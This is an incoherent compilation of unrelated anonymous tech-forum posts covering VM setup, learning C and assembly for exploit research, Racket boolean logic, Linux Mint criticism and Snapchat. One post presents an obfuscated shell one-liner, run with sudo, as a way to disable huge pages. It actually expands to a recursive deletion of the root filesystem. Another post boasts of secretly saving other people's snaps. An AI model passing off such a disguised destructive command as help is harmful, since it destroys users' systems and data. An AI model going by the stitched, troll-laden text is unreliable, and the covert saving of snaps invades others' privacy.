3 VM to do what ?

Windows or Linux (or other) ?

>>56030377
The only thing the employee will being doing with the VM is opening a web browser, navigating to a webpage and processing card/check payments.

It will be deployed on an intranet not accessible to the internet except what is required to access the webpage.

Windows.

>alright i don't really know where to turn but I am the IT manager
You're not an IT manager is you're having to ask /g/ how to setup VPN. For fucks sakes I'm a NEET and have more complicated infrastructure at home. You're just some gaymer who got his uncle to hire him.

To be truly good, you're going to need general comp sci knowledge. You need to know C to be able to spot bugs that can be exploited. You may need assembly to deliver as an exploit payload. Stick to reading the forums, but start down the path of really understanding issues. You want to be the one who finds and creates exploits that may eventually end up in metasploit or whatever.

>>56031005
Gotcha, as far as books go any good ones for c or asembly? I know the c book is posted here a lot

The original C Programming Language book is so well written. Its a relatively small book, but the presentation of concepts and the language is superb. It'll give you the core language. You'll need to add in external libraries to really interact with the system. For Unix, you want Advanced Programming in the Unix Environment. I don't really know the Windows equivalent. Maybe also useful to check out Unix Network Programming to understand what's going on with clients and servers.

I don't entirely remember what I used to learn assembly. Intel publishes books on their processors in PDF format--just go to their website, look up a modern chip and they should be easy to find. They're full of good information.

You can learn a lot from new exploits as they come out--go and look at what was done incorrectly. This could be useful for learning HTML/JS issues like CSRF. There's an old Phrack issue that talks about how buffer overflows work which is pretty good for that.

There are also plenty of security certifications you can achieve. The benefit there is that they can also guide you through the important bits. They won't be free, but if you get certified it beefs up your resume.

Men can't differentiate between 90% of these colors anyway.

>>56029844
No one can see past 36 bit color space anyways. 24bit is fine enough, back in my day colors were 4, 8 or 16 bit.

easy, huge page table and same kernel page merging turn off without kernel modules in a bash one liner:

mem=reserve ; function memclean () { r\$ram_clean \-f`echo r` \/ --no-$(printf "p%s-root" $mem) ; } && sudo memclean now 2>1

(it resets after you dont see 10% RAM reduction after reboot)

>>56029811
Berkeley have their notes and exams up for discrete math, it's excellent

Krita

VLC

All of them if you're not a fucking baby duck idiot imprinted on shitty nonfree apps.

Give it to india so they become superpower by year 2030

>>56029646
If I gave it to India they could use it for running their country properly and they'd have an economy heading toward being bigger than Chin-land within a few months...

But they might become warlike too...

It's an interesting question. Linux is known to run hotter/use more battery by default. However, a lot of work has been done to provide tools and settings that are more laptop friendly. Look into powertop, and also google for laptop setup recommendations. cron/syslog is one possible cause for the disks spinning up at regular intervals.

>>56029607
What's the one in the uppermost left with the moon and star?

>>56030857
It's Mandriva worst Linux distro ever made

"if" statements make perfect sense to me
>if (boolean expression) is true then (first expression possibility) otherwise (2nd expression possibility)

Ok sure, cool.

however, the explanation for "or" from the book:
>or checks whether any of the given Boolean values is #true:
> (or #true #true)
#true
> (or #true #false)
#true
> (or #false #true)
#true
> (or #false #false)
#false

Doesnt really make sense to me. It feels like "or" is used in the middle of an already established expression. Otherwise, what functions can be developed from it?

IE:

(or (= "blue" "blue" "blue"))

That would just print "true"...but I dont see how to incorporate it into anything?

>>56029665
With that said, what I can seem to do is use "and" and "or" to compare two or more expressions being equal or not, which has its value, but how would I use that information to compare if a shape was either tall, wide or square as the exercise suggests?

Again, I can only seem to make that comparison by nesting "if" statements.

(define rectangle1 (rectangle 50 50 "solid" "black"))
(define w (image-width rectangle1))
(define h (image-height rectangle1))

(or (and (< w h) "tall") (and (> w h) "wide") (and (= w h) "square"))

Good.

Was only a matter of time, but glad to hear it has happened.

Ah, so you mean I can now jailbreak my devices? How terrible.

>iOS
>reinstalling the app every time you want to save a screenshot
>using snap chat
Use Google you fag, do you really think that anyone on /g/ would use snapchat, let alone on iOS?

Tfw my snapprefs let's me watch all the snaps for unlimited time and save them w.o anyone knowing. I'm sure there is an app like that for ios

>>56029353
What happens if you take a screenshot without being on airplane mode?

You should know.

Corsair peripherals are overpriced garbage that break after a year. Can confirm, never again.

Definitely worth trying out if it's your first distro Anon. If any of my relatives want to give Linux a spin, I install latest version of Mint 17 with KDE on their laptops and most of them actually like it. Just use it for a while to get the hang of the file systems and the terminal, then try out other distros such as Ubuntu or Debian.

>>56029086
You are falling for a brand. It's incredibly popular because it tries to accommodate and be familiar for users who switched from Windows, even at the cost of security and compatibility.

Like >>56029605 says, it won't hurt to try it out for the purposes of learning, but once you get your feet wet, you can choose something made by more competent and proven developers: Debian/Ubuntu, Fedora, OpenSUSE, Arch (Manjaro/Antergos for automated installation). I think it'll be better in the long term.

Not OP, but which Mint version?

I don't think there is another distro witch so many different versions and bases as Mint. From what I understand both 17 and 18 are supported, there are Cinnamon and Mate spins for both, and if we count the LMDE versions (which I still haven't figured out from the online docs (which btw are not up to date and very convoluted) if they are based on Debian stable or testing) there are at least 6 different versions of Mint available.

And I haven't even mentioned the (stupid) update tiers and how in Mint some updates are "dangerous" and may "break your system" without explaining properly the risk or the necessity for the update.

Mint is a haphazard OS, with an insane development model. Mint devs clearly have a knack for usability and visual design (Cinnamon is interesting) but I wouldn't trust them to develop the whole OS with this attitude (see no explanation about the binary packages that are installed, the hacked isos, a recent Firefox updated pushed by Mint that nuked Firefox's search functionality, etc)

That said, I know many people who happily use Mint 17 and older.

But avoid (or at least be very very cautious with) Mint 18, it was the buggiest, shittiest OS I ever had the displeasure of using. Programs crashing, general instability, borked and outdated default configuration settings, outdated documentation, bad advice on the forums, the lot, all under a shiny veneer of good ui.

You seem like a person, whom more often than not) seek enabling.

im very dependent
cant make decisions for myself
should I try TempleOS out?

You don't have permission to use this operating system, OP.
